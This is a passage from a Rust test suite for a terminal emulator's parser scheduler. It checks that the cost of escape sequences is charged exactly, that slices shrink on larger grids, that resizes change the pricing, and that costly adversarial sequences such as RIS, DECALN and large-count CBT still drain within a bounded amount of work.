if term.tail_drained() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
assert!(term.drain() || term.tail_drained());
|
||||||
|
if !term.tail_full() && !term.tail_drained() {
|
||||||
|
saw_gap = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
assert!(
|
||||||
|
term.tail_drained(),
|
||||||
|
"the tail never drained to the resume mark"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
saw_gap,
|
||||||
|
"no depth was both non-full and non-drained: the two thresholds are \
|
||||||
|
the same value and the reader will flap",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Close must not be held behind parser work.
|
||||||
|
///
|
||||||
|
/// Kills: draining the tail on close instead of discarding it. Measured
|
||||||
|
/// elsewhere in this project: teardown that finishes parsing before killing
|
||||||
|
/// the child costs ~600 ms on macOS, and no byte of that work reaches a
|
||||||
|
/// renderer -- publication is detached before shutdown drains.
|
||||||
|
#[test]
|
||||||
|
fn close_may_abandon_the_tail_and_says_how_much_it_dropped() {
|
||||||
|
let mut term = terminal();
|
||||||
|
term.feed(&b"\x1b#8".repeat(10_000));
|
||||||
|
let stranded = term.pending_bytes();
|
||||||
|
assert!(stranded > 0);
|
||||||
|
|
||||||
|
let abandoned = term.abandon_tail();
|
||||||
|
|
||||||
|
assert_eq!(abandoned, stranded);
|
||||||
|
assert_eq!(term.pending_bytes(), 0);
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().abandoned_bytes,
|
||||||
|
stranded as u64,
|
||||||
|
"dropped bytes must be counted: this is lossy by design and silent \
|
||||||
|
loss is how it stops being by design",
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
term.tail_drained(),
|
||||||
|
"an abandoned tail cannot strand a reader"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The grid the weights are priced against tracks resizes.
|
||||||
|
///
|
||||||
|
/// Kills: dropping `Feeder::resize`. A stale grid misprices every O(cells)
|
||||||
|
/// charge for as long as it is wrong -- and it is wrong in the *unsafe*
|
||||||
|
/// direction whenever the window grows, which is the common case.
|
||||||
|
#[test]
|
||||||
|
fn a_resize_reprices_the_same_escape() {
|
||||||
|
let mut small = terminal();
|
||||||
|
small.feed_fully(b"\x1b#8");
|
||||||
|
let before = small.stats().completed_work;
|
||||||
|
assert_eq!(before, CELLS);
|
||||||
|
|
||||||
|
small.resize(Size {
|
||||||
|
columns: COLUMNS * 2,
|
||||||
|
screen_lines: LINES,
|
||||||
|
scrollback: 100,
|
||||||
|
});
|
||||||
|
small.reset_stats();
|
||||||
|
small.feed_fully(b"\x1b#8");
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
small.stats().completed_work,
|
||||||
|
CELLS * 2,
|
||||||
|
"the same escape on a grid twice as wide must cost twice as much",
|
||||||
|
);
|
||||||
|
assert_eq!(small.stats().completed_units, 1, "still one callback");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A resize *between* slices of one payload reprices the remainder.
|
||||||
|
///
|
||||||
|
/// Kills: caching the slice size or the grid across a drain. The tail
|
||||||
|
/// outlives the call that accepted it, so a resize can land in the middle of
|
||||||
|
/// it -- the untouched remainder must be charged at the new grid, not the one
|
||||||
|
/// that was current when the bytes arrived.
|
||||||
|
#[test]
|
||||||
|
fn a_resize_mid_tail_reprices_the_remainder() {
|
||||||
|
let mut term = terminal();
|
||||||
|
let decalns = 4_000;
|
||||||
|
assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail");
|
||||||
|
let done_before = term.stats().completed_units;
|
||||||
|
let work_before = term.stats().completed_work;
|
||||||
|
assert_eq!(work_before, done_before * CELLS);
|
||||||
|
|
||||||
|
term.resize(Size {
|
||||||
|
columns: COLUMNS * 2,
|
||||||
|
screen_lines: LINES,
|
||||||
|
scrollback: 100,
|
||||||
|
});
|
||||||
|
while term.drain() {}
|
||||||
|
|
||||||
|
let after = term.stats();
|
||||||
|
assert_eq!(after.completed_units, decalns as u64, "no unit may be lost");
|
||||||
|
assert_eq!(
|
||||||
|
after.completed_work,
|
||||||
|
work_before + (decalns as u64 - done_before) * CELLS * 2,
|
||||||
|
"the remainder must be priced at the resized grid",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Slice size is derived from the worst atom the grid admits, because a fixed
|
||||||
|
/// byte count cannot bound a lock hold: `ESC c` is two bytes and resets both
|
||||||
|
/// grids plus scrollback.
|
||||||
|
///
|
||||||
|
/// Kills: replacing `slice_bytes_remaining` with a constant, or deriving it from
|
||||||
|
/// `cells` while the worst atom is larger than `cells`. Measured: 256 bytes
|
||||||
|
/// of DECALN is 1.6 ms at 200x50 and ~14 ms at 1600x50, so no one constant
|
||||||
|
/// serves both.
|
||||||
|
#[test]
|
||||||
|
fn slice_size_shrinks_as_the_worst_atom_grows() {
|
||||||
|
let small = slice_bytes_remaining(80, 24, 0, 0, 0);
|
||||||
|
let large = slice_bytes_remaining(1600, 50, 0, 0, 0);
|
||||||
|
assert!(
|
||||||
|
small > large,
|
||||||
|
"a bigger grid makes each byte more expensive, so slices must shrink: \
|
||||||
|
80x24 -> {small}, 1600x50 -> {large}",
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
slice_bytes_remaining(200, 50, 10_000, 0, 0) <= slice_bytes_remaining(200, 50, 0, 0, 0),
|
||||||
|
"scrollback makes RIS more expensive, so it may only shrink slices",
|
||||||
|
);
|
||||||
|
for (columns, lines, scrollback) in [(80, 24, 0), (200, 50, 0), (400, 100, 0), (1600, 50, 0)] {
|
||||||
|
assert!((1..=MAX_SLICE).contains(&slice_bytes_remaining(columns, lines, scrollback, 0, 0)));
|
||||||
|
// One slice holds at most N/2 of the densest atom. Either that fits a
|
||||||
|
// budget, or the floor binds -- and then the overshoot is stated by
|
||||||
|
// `max_drain_work` rather than being an accident.
|
||||||
|
let width = slice_bytes_remaining(columns, lines, scrollback, 0, 0);
|
||||||
|
let worst = (width as u64 / 2) * max_atom_work(columns, lines, scrollback);
|
||||||
|
assert!(
|
||||||
|
worst <= WORK_BUDGET || width == 1,
|
||||||
|
"{columns}x{lines}: a slice buys {worst} work against a \
|
||||||
|
{WORK_BUDGET} budget without the MIN clamp to excuse it",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Work released by an F1 abort is counted.
|
||||||
|
///
|
||||||
|
/// Kills: leaving the `stop_sync` flush out of the accounting. F1 aborts a
|
||||||
|
/// runaway synchronized update by flushing its buffer through the handler --
|
||||||
|
/// those callbacks run, cost time, and hold the lock, so a scheduler that
|
||||||
|
/// does not see them is blind on exactly the path the fence created. The
|
||||||
|
/// escapes here are `ESC#8` so the flushed work is unmistakable against the
|
||||||
|
/// buffered bytes.
|
||||||
|
#[test]
|
||||||
|
fn work_flushed_by_a_sync_abort_is_counted() {
|
||||||
|
let (mut term, _a) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns: 80,
|
||||||
|
screen_lines: 24,
|
||||||
|
scrollback: 0,
|
||||||
|
},
|
||||||
|
Fences::SYNC_ONLY,
|
||||||
|
);
|
||||||
|
let cells = 80 * 24;
|
||||||
|
|
||||||
|
// Open a synchronized update and never close it: F1 must abort it once
|
||||||
|
// the buffer passes SYNC_CAP, flushing everything buffered so far.
|
||||||
|
term.feed_fully(b"\x1b[?2026h");
|
||||||
|
let decalns = SYNC_CAP / 3 + 1000;
|
||||||
|
term.feed_fully(&b"\x1b#8".repeat(decalns));
|
||||||
|
|
||||||
|
let stats = term.stats();
|
||||||
|
assert!(stats.sync_aborts > 0, "the fence must have fired");
|
||||||
|
// Every DECALN fed must be accounted for. The comparison is against the
|
||||||
|
// *input*, not against the counters' own internal consistency: an
|
||||||
|
// uncounted flush leaves both counters small together, so checking them
|
||||||
|
// against each other would pass over the mutant.
|
||||||
|
// Two bookkeeping callbacks besides the DECALNs: the `ESC[?2026h` that
|
||||||
|
// opened the update, and the `unset_private_mode` that `stop_sync` emits
|
||||||
|
// per abort to report the mode off (`vte-0.15.0/src/ansi.rs:353`).
|
||||||
|
let bookkeeping = 1 + stats.sync_aborts;
|
||||||
|
assert_eq!(
|
||||||
|
stats.completed_units,
|
||||||
|
decalns as u64 + bookkeeping,
|
||||||
|
"every DECALN must be counted, including the ones released by the \
|
||||||
|
abort, plus {bookkeeping} mode callbacks",
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
stats.completed_work,
|
||||||
|
decalns as u64 * cells + bookkeeping,
|
||||||
|
"and their work: {decalns} DECALNs at {cells} cells each",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Cheap traffic is not taxed by slicing: an ordinary screenful retires in
|
||||||
|
/// one call.
|
||||||
|
///
|
||||||
|
/// Kills: a budget so small, or a slice so small, that normal output pays the
|
||||||
|
/// deferral machinery. This is the companion to the DECALN arm -- a seam that
|
||||||
|
/// bounds the hold by making everything slow has not fixed anything.
|
||||||
|
#[test]
|
||||||
|
fn ordinary_output_needs_no_second_call() {
|
||||||
|
let mut term = terminal();
|
||||||
|
let line = b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n";
|
||||||
|
let screenful = line.repeat(LINES);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
!term.feed(&screenful),
|
||||||
|
"a screenful of ordinary output must retire in one call, not defer",
|
||||||
|
);
|
||||||
|
assert_eq!(term.pending_bytes(), 0);
|
||||||
|
assert_eq!(term.stats().tail_breaches, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The work bound holds on the **first drain of a fresh feeder**, for the
|
||||||
|
/// densest payload upstream offers.
|
||||||
|
///
|
||||||
|
/// Kills: sizing slices from observed density. A learned bound is not a bound
|
||||||
|
/// on the first slice -- a cold feeder has seen nothing, so it hands the
|
||||||
|
/// parser a wide slice, and a wide slice of `ESC c` spends many budgets
|
||||||
|
/// before anything checks. This is the arm that a warm-up-based scheduler
|
||||||
|
/// passes on the second call and fails on the first, so it asserts on a
|
||||||
|
/// terminal that has never parsed a byte.
|
||||||
|
#[test]
|
||||||
|
fn a_cold_feeder_bounds_its_very_first_slice() {
|
||||||
|
for (columns, lines) in [(80, 24), (200, 50), (400, 100), (1600, 50)] {
|
||||||
|
for (label, atom) in [("RIS", &b"\x1bc"[..]), ("DECALN", &b"\x1b#8"[..])] {
|
||||||
|
let (mut term, _a) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: lines,
|
||||||
|
scrollback: 100,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
);
|
||||||
|
// Never fed before: `density`-style state, if any existed, is at
|
||||||
|
// its initial value.
|
||||||
|
term.feed(&atom.repeat(5_000));
|
||||||
|
|
||||||
|
let spent = term.stats().completed_work;
|
||||||
|
let ceiling = max_drain_work(columns, lines, 100);
|
||||||
|
assert!(
|
||||||
|
spent <= ceiling,
|
||||||
|
"{label} at {columns}x{lines}: first drain of a cold feeder \
|
||||||
|
spent {spent} work, over budget+overshoot ({ceiling})",
|
||||||
|
);
|
||||||
|
assert!(term.pending_bytes() > 0, "{label}: expected a tail");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Exact price of every escape whose cost the grid can amplify.
|
||||||
|
///
|
||||||
|
/// One table, exact `completed_work` per escape, at two widths so a weight
|
||||||
|
/// that dropped its `columns` factor cannot hide. Kills, one row each:
|
||||||
|
///
|
||||||
|
/// * `delete_chars`/`insert_blank` charged by `N` -- their cost *falls* as N
|
||||||
|
/// rises (the swap loop runs `columns - end` times), so N=1 is the worst
|
||||||
|
/// case and pricing by N is backwards.
|
||||||
|
/// * `erase_chars` charged raw `N` -- upstream clamps to the row, so
|
||||||
|
/// `ESC[65535X` on an 80-column grid touches 80 cells, not 65535.
|
||||||
|
/// * `scroll_up`/`delete_lines` losing their `columns` factor -- the rows are
|
||||||
|
/// reset, and a row reset is O(columns).
|
||||||
|
/// * `clear_line`, `decaln`, `clear_screen` mispriced by an axis.
|
||||||
|
///
|
||||||
|
/// Exact equality, never a bound: a `<=` assertion passes for every weight
|
||||||
|
/// smaller than the truth, which is the direction that hurts.
|
||||||
|
#[test]
|
||||||
|
fn every_amplifiable_escape_is_priced_exactly() {
|
||||||
|
for (columns, lines) in [(80usize, 24usize), (400, 50)] {
|
||||||
|
let cells = (columns * lines) as u64;
|
||||||
|
let c = columns as u64;
|
||||||
|
let cases: &[(&str, String, u64)] = &[
|
||||||
|
("decaln", "\u{1b}#8".into(), cells),
|
||||||
|
("clear_screen", "\u{1b}[2J".into(), cells),
|
||||||
|
("clear_line", "\u{1b}[2K".into(), c),
|
||||||
|
("erase_chars N=1", "\u{1b}[1X".into(), 1),
|
||||||
|
("erase_chars N=20", "\u{1b}[20X".into(), 20),
|
||||||
|
("erase_chars N=huge", "\u{1b}[65535X".into(), c),
|
||||||
|
("delete_chars N=1", "\u{1b}[1P".into(), c),
|
||||||
|
("delete_chars N=huge", "\u{1b}[65535P".into(), c),
|
||||||
|
("insert_blank N=1", "\u{1b}[1@".into(), c),
|
||||||
|
("scroll_up N=1", "\u{1b}[1S".into(), c),
|
||||||
|
("scroll_up N=5", "\u{1b}[5S".into(), 5 * c),
|
||||||
|
("scroll_up N=huge", "\u{1b}[65535S".into(), lines as u64 * c),
|
||||||
|
("scroll_down N=1", "\u{1b}[1T".into(), c),
|
||||||
|
("scroll_down N=4", "\u{1b}[4T".into(), 4 * c),
|
||||||
|
(
|
||||||
|
"scroll_down N=huge",
|
||||||
|
"\u{1b}[65535T".into(),
|
||||||
|
lines as u64 * c,
|
||||||
|
),
|
||||||
|
("delete_lines N=3", "\u{1b}[3M".into(), 3 * c),
|
||||||
|
(
|
||||||
|
"delete_lines N=huge",
|
||||||
|
"\u{1b}[65535M".into(),
|
||||||
|
lines as u64 * c,
|
||||||
|
),
|
||||||
|
("insert_lines N=1", "\u{1b}[1L".into(), c),
|
||||||
|
("insert_lines N=6", "\u{1b}[6L".into(), 6 * c),
|
||||||
|
(
|
||||||
|
"insert_lines N=huge",
|
||||||
|
"\u{1b}[65535L".into(),
|
||||||
|
lines as u64 * c,
|
||||||
|
),
|
||||||
|
("put_tab N=1", "\t".into(), c),
|
||||||
|
("fwd_tabs N=1", "\u{1b}[1I".into(), c),
|
||||||
|
("fwd_tabs N=huge", "\u{1b}[65535I".into(), c),
|
||||||
|
("insert_blank N=huge", "\u{1b}[65535@".into(), c),
|
||||||
|
("clear_line ESC[0K", "\u{1b}[0K".into(), c),
|
||||||
|
("clear_line ESC[1K", "\u{1b}[1K".into(), c),
|
||||||
|
("clear_screen ESC[0J", "\u{1b}[0J".into(), cells),
|
||||||
|
("clear_screen ESC[1J", "\u{1b}[1J".into(), cells),
|
||||||
|
("sgr", "\u{1b}[m".into(), 1),
|
||||||
|
("goto", "\u{1b}[1;1H".into(), 1),
|
||||||
|
];
|
||||||
|
for (label, seq, expected) in cases {
|
||||||
|
let (mut term, _a) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: lines,
|
||||||
|
scrollback: 0,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
);
|
||||||
|
// Home first so nothing scrolls, then measure only the escape.
|
||||||
|
term.feed_fully(b"\x1b[1;1H");
|
||||||
|
term.reset_stats();
|
||||||
|
term.feed_fully(seq.as_bytes());
|
||||||
|
|
||||||
|
assert_eq!(term.stats().completed_units, 1, "{label}: one callback");
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_work,
|
||||||
|
*expected,
|
||||||
|
"{label} at {columns}x{lines} priced wrong",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// RIS is priced with its history axis, not just its cells.
|
||||||
|
///
|
||||||
|
/// Kills: charging `cells`, or dropping the history term.
|
||||||
|
///
|
||||||
|
/// On the alt-screen arm, honestly labelled: the active-`history_size()`
|
||||||
|
/// mispricing it was written against is **unrepresentable in this design**,
|
||||||
|
/// not merely untested. `Counting` holds `scrollback` as a scalar copied at
|
||||||
|
/// construction and has no path to a live grid, so there is no way to write
|
||||||
|
/// the mutant. The arm is kept as a regression witness -- if a `Term`
|
||||||
|
/// reference is ever wired into the wrapper it becomes load-bearing the same
|
||||||
|
/// day -- and both arms are evaluated before either can report, so the
|
||||||
|
/// primary cannot short-circuit the alt.
|
||||||
|
#[test]
|
||||||
|
fn ris_is_priced_for_both_grids_and_the_scrollback_it_walks() {
|
||||||
|
let (columns, lines) = (80usize, 24usize);
|
||||||
|
let cells = (columns * lines) as u64;
|
||||||
|
let mut observed = vec![];
|
||||||
|
for scrollback in [0usize, 100, 10_000] {
|
||||||
|
for (label, prefix) in [("primary", ""), ("alt screen", "\u{1b}[?1049h")] {
|
||||||
|
let (mut term, _a) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: lines,
|
||||||
|
scrollback,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
);
|
||||||
|
term.feed_fully(prefix.as_bytes());
|
||||||
|
term.reset_stats();
|
||||||
|
term.feed_fully(b"\x1bc");
|
||||||
|
observed.push((label, scrollback, term.stats().completed_work));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// One comparison over the whole vector, not a loop of comparisons.
|
||||||
|
// Collecting first stops an arm from being *skipped*; asserting the
|
||||||
|
// vectors is what stops a failure from being *truncated* to the first
|
||||||
|
// mismatch. Otherwise the alt-screen receipt still never prints, which
|
||||||
|
// was the point of collecting.
|
||||||
|
let expected: Vec<_> = observed
|
||||||
|
.iter()
|
||||||
|
.map(|&(label, scrollback, _)| {
|
||||||
|
(label, scrollback, 2 * cells + (scrollback * columns) as u64)
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
assert_eq!(
|
||||||
|
observed, expected,
|
||||||
|
"RIS must be priced on configured depth, identically on both grids",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// CBT is charged for exactly the cells it scans -- an equality, in both
|
||||||
|
/// directions.
|
||||||
|
///
|
||||||
|
/// Kills: delegating `move_backward_tabs` verbatim, and deleting the
|
||||||
|
/// fixed-point break. With tabstops cleared and the cursor at the right
|
||||||
|
/// margin, upstream never advances the cursor, so its `col == 0` exit is
|
||||||
|
/// unreachable and all N iterations rescan the row -- `ESC[3g ESC[65535Z` is
|
||||||
|
/// 8 bytes for 82 ms at 1600 columns.
|
||||||
|
///
|
||||||
|
/// Two traps this had to be written around, both of which I walked into
|
||||||
|
/// first:
|
||||||
|
///
|
||||||
|
/// * **The cursor is not the witness.** Deleting the break lands on the same
|
||||||
|
/// column; only the cost differs. A fixture checking where the cursor ended
|
||||||
|
/// up passes over the mutant.
|
||||||
|
/// * **An upper bound is not the witness either.** Deleting the break makes
|
||||||
|
/// the loop run without charging -- measured `work == 1` for 29 ms of real
|
||||||
|
/// scanning -- so `spent <= bound` *passes*. Under-charging is exactly the
|
||||||
|
/// direction that hurts, and only an equality sees it.
|
||||||
|
///
|
||||||
|
/// The expected value is the scan the source performs: with no stop below the
|
||||||
|
/// cursor, one pass over `cursor_column` cells, then a permanent fixed point.
|
||||||
|
/// Both arms come to `columns` -- the telescoping sum of a walk, or one
|
||||||
|
/// failed pass -- which is the bound this whole change buys.
|
||||||
|
#[test]
|
||||||
|
fn the_worst_atom_is_charged_for_exactly_what_it_scans() {
|
||||||
|
for columns in [80usize, 400, 1600] {
|
||||||
|
let (mut term, _a) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: 50,
|
||||||
|
scrollback: 0,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
);
|
||||||
|
// Adversarial for cost: every tabstop gone, cursor at the right
|
||||||
|
// margin, count far past the width.
|
||||||
|
term.feed_fully(format!("\u{1b}[3g\u{1b}[1;{columns}H").as_bytes());
|
||||||
|
term.reset_stats();
|
||||||
|
|
||||||
|
term.feed_fully(b"\x1b[65535Z");
|
||||||
|
|
||||||
|
assert_eq!(term.stats().completed_units, 1, "one escape, one callback");
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_work,
|
||||||
|
1 + (columns as u64 - 1),
|
||||||
|
"one failed scan over the whole prefix, then a permanent fixed \
|
||||||
|
point: the charge is the escape plus that one scan. A loop that \
|
||||||
|
kept going would charge this much per iteration, 65535 times",
|
||||||
|
);
|
||||||
|
// The real guard on the loop: with a stop reachable, the charge must
|
||||||
|
// equal the distance actually travelled. A break-less loop scans the
|
||||||
|
// row 65535 times and charges for one crossing.
|
||||||
|
let (mut walk, _a) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: 50,
|
||||||
|
scrollback: 0,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
);
|
||||||
|
// Default tabstops every 8: from the right margin a huge count walks
|
||||||
|
// to column 0, crossing every column on the way.
|
||||||
|
walk.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes());
|
||||||
|
walk.reset_stats();
|
||||||
|
walk.feed_fully(b"\x1b[65535Z");
|
||||||
|
|
||||||
|
assert_eq!(walk.term().grid().cursor.point.column.0, 0);
|
||||||
|
assert_eq!(
|
||||||
|
walk.stats().completed_work,
|
||||||
|
1 + (columns as u64 - 1),
|
||||||
|
"the charge must be the distance travelled: one unit for the \
|
||||||
|
escape plus one per column crossed",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// CBT at column 0 is free, and stays free.
|
||||||
|
///
|
||||||
|
/// Kills: removing the `before == 0` guard. Upstream has its own `col == 0`
|
||||||
|
/// break, so deleting the wrapper's copy is invisible to the cursor and
|
||||||
|
/// invisible to timing -- it only shows up as work charged for a scan over
|
||||||
|
/// zero cells that the wrapper attributed to itself. The left margin is also
|
||||||
|
/// the position both earlier sweeps of this op homed to, which is why it is
|
||||||
|
/// the position where a defect hides best.
|
||||||
|
#[test]
|
||||||
|
fn the_worst_atom_costs_nothing_at_the_left_margin() {
|
||||||
|
for columns in [80usize, 400] {
|
||||||
|
let (mut term, _a) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: 50,
|
||||||
|
scrollback: 0,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
);
|
||||||
|
term.feed_fully(b"\x1b[3g\x1b[1;1H");
|
||||||
|
term.reset_stats();
|
||||||
|
term.feed_fully(b"\x1b[65535Z");
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_work,
|
||||||
|
1,
|
||||||
|
"at column 0 there is nothing to the left to scan, so the escape \
|
||||||
|
costs one unit and no cells",
|
||||||
|
);
|
||||||
|
assert_eq!(term.term().grid().cursor.point.column.0, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The other adversary: every tabstop *set*, which maximises the number of
|
||||||
|
/// delegated single steps rather than the length of one scan.
|
||||||
|
///
|
||||||
|
/// Kills: pricing CBT per-step-times-width. Cleared tabstops attack the
|
||||||
|
/// clamp; all-set attacks the break, forcing `columns - 1` steps of one
|
||||||
|
/// column each. The two layouts peak in different terms and neither may
|
||||||
|
/// exceed the bound, so both are here -- a suite that tested only the famous
|
||||||
|
/// one would miss the shape it chose against.
|
||||||
|
#[test]
|
||||||
|
fn the_worst_atom_is_bounded_under_the_layout_that_maximises_steps() {
|
||||||
|
for columns in [80usize, 400] {
|
||||||
|
let (mut term, _a) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: 50,
|
||||||
|
scrollback: 100,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
);
|
||||||
|
// A tabstop in every column, then start from the right margin.
|
||||||
|
term.feed_fully(b"\x1b[3g");
|
||||||
|
for c in 1..=columns {
|
||||||
|
term.feed_fully(format!("\u{1b}[1;{c}H\u{1b}H").as_bytes());
|
||||||
|
}
|
||||||
|
term.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes());
|
||||||
|
term.reset_stats();
|
||||||
|
|
||||||
|
term.feed_fully(b"\x1b[65535Z");
|
||||||
|
|
||||||
|
assert_eq!(term.stats().completed_units, 1);
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_work,
|
||||||
|
1 + (columns as u64 - 1),
|
||||||
|
"with a stop in every column the walk crosses each of them once, \
|
||||||
|
so the charge is exact: one unit for the escape plus one per \
|
||||||
|
column crossed. An inequality here would not catch a 2x \
|
||||||
|
overcharge -- which lands on 159, not 160, because the escape's \
|
||||||
|
own unit is charged separately and is not doubled",
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
term.term().grid().cursor.point.column.0,
|
||||||
|
0,
|
||||||
|
"with a stop in every column the cursor must walk all the way",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Stopping CBT early does not change where the cursor lands.
|
||||||
|
///
|
||||||
|
/// The companion to the two cost tests above: they assert the work fell,
|
||||||
|
/// this asserts the behaviour did not move. Kills: stopping at something that
|
||||||
|
/// is *not* a fixed point -- `min(N, 1)`, or breaking whenever a scan fails
|
||||||
|
/// even though an earlier step still had stops to find. Cases are the ones
|
||||||
|
/// the exhaustive probe found interesting: no stops, one stop mid-row, and
|
||||||
|
/// default stops, each from the right margin with a count past the width.
|
||||||
|
#[test]
|
||||||
|
fn stopping_the_worst_atom_early_preserves_its_semantics() {
|
||||||
|
let columns = 40usize;
|
||||||
|
let cursor_column = |setup: &str| -> usize {
|
||||||
|
let (mut term, _a) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: 3,
|
||||||
|
scrollback: 0,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
);
|
||||||
|
term.feed_fully(setup.as_bytes());
|
||||||
|
term.term().grid().cursor.point.column.0
|
||||||
|
};
|
||||||
|
|
||||||
|
// No stops: the cursor cannot move, whatever the count.
|
||||||
|
assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[65535Z"), 39);
|
||||||
|
assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[40Z"), 39);
|
||||||
|
// One stop at column 20 (1-based 21): reachable once, then stuck.
|
||||||
|
let one_stop = "\u{1b}[3g\u{1b}[1;21H\u{1b}H\u{1b}[1;40H";
|
||||||
|
assert_eq!(
|
||||||
|
cursor_column(&format!("{one_stop}\u{1b}[65535Z")),
|
||||||
|
cursor_column(&format!("{one_stop}\u{1b}[40Z")),
|
||||||
|
);
|
||||||
|
// Default stops every 8: a large count walks all the way to column 0.
|
||||||
|
assert_eq!(cursor_column("\u{1b}[1;40H\u{1b}[65535Z"), 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A stream of atoms each worth more than the whole budget still drains, and
|
||||||
|
/// every drain makes progress.
|
||||||
|
///
|
||||||
|
/// The liveness half of the bound. `max_drain_work` says how much one drain
|
||||||
|
/// may cost; it says nothing about whether the loop terminates, and an
|
||||||
|
/// oversized atom is exactly where a work-denominated scheduler could refuse
|
||||||
|
/// to start one -- spending its budget checking, never advancing, and hanging
|
||||||
|
/// the terminal with a full tail. RIS on a 10k-scrollback grid is ~16x the
|
||||||
|
/// budget, so this is not hypothetical.
|
||||||
|
///
|
||||||
|
/// Kills: any yield that can decline to start work -- a `width` that reaches
|
||||||
|
/// 0, a `remaining`-scaled slice that underflows to nothing, a guard that
|
||||||
|
/// skips a slice deemed too expensive for what is left of the budget. Each of
|
||||||
|
/// those is a plausible thing to reach for when an atom costs more than the
|
||||||
|
/// whole budget, and each hangs a terminal on legitimate input.
|
||||||
|
///
|
||||||
|
/// Note on a mutant it does *not* kill: moving the budget check from after
|
||||||
|
/// the slice to before it is **equivalent**, not a defect -- `spent` is zero
|
||||||
|
/// at entry, so the first slice runs either way. Recorded because I wrote
|
||||||
|
/// this test believing it caught that, ran the mutant, and it lived.
|
||||||
|
#[test]
|
||||||
|
fn atoms_larger_than_the_budget_still_make_progress() {
|
||||||
|
for (columns, lines, scrollback) in [(80usize, 24usize, 10_000usize), (200, 50, 10_000)] {
|
||||||
|
let (mut term, _a) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: lines,
|
||||||
|
scrollback,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
);
|
||||||
|
let atoms = 200usize;
|
||||||
|
let bound = max_drain_work(columns, lines, scrollback);
|
||||||
|
assert!(
|
||||||
|
bound > WORK_BUDGET * 4,
|
||||||
|
"this arm is only meaningful where one atom dwarfs the budget",
|
||||||
|
);
|
||||||
|
|
||||||
|
let mut more = term.feed(&b"\x1bc".repeat(atoms));
|
||||||
|
// `feed` already drained once; seed the baseline with its work or the
|
||||||
|
// first delta measured below silently doubles.
|
||||||
|
let mut previous = term.stats().completed_work;
|
||||||
|
let mut worst = previous;
|
||||||
|
let mut calls = 1;
|
||||||
|
while more {
|
||||||
|
let before = term.pending_bytes();
|
||||||
|
more = term.drain();
|
||||||
|
assert!(
|
||||||
|
term.pending_bytes() < before,
|
||||||
|
"no progress: the tail stuck at {before} bytes",
|
||||||
|
);
|
||||||
|
let now = term.stats().completed_work;
|
||||||
|
worst = worst.max(now - previous);
|
||||||
|
previous = now;
|
||||||
|
calls += 1;
|
||||||
|
assert!(calls < 10_000, "drain did not terminate");
|
||||||
|
}
|
||||||
|
|
||||||
|
assert_eq!(term.stats().completed_units, atoms as u64, "lost units");
|
||||||
|
assert_eq!(term.pending_bytes(), 0);
|
||||||
|
assert!(
|
||||||
|
worst <= bound,
|
||||||
|
"{columns}x{lines}: worst drain spent {worst}, over the stated \
|
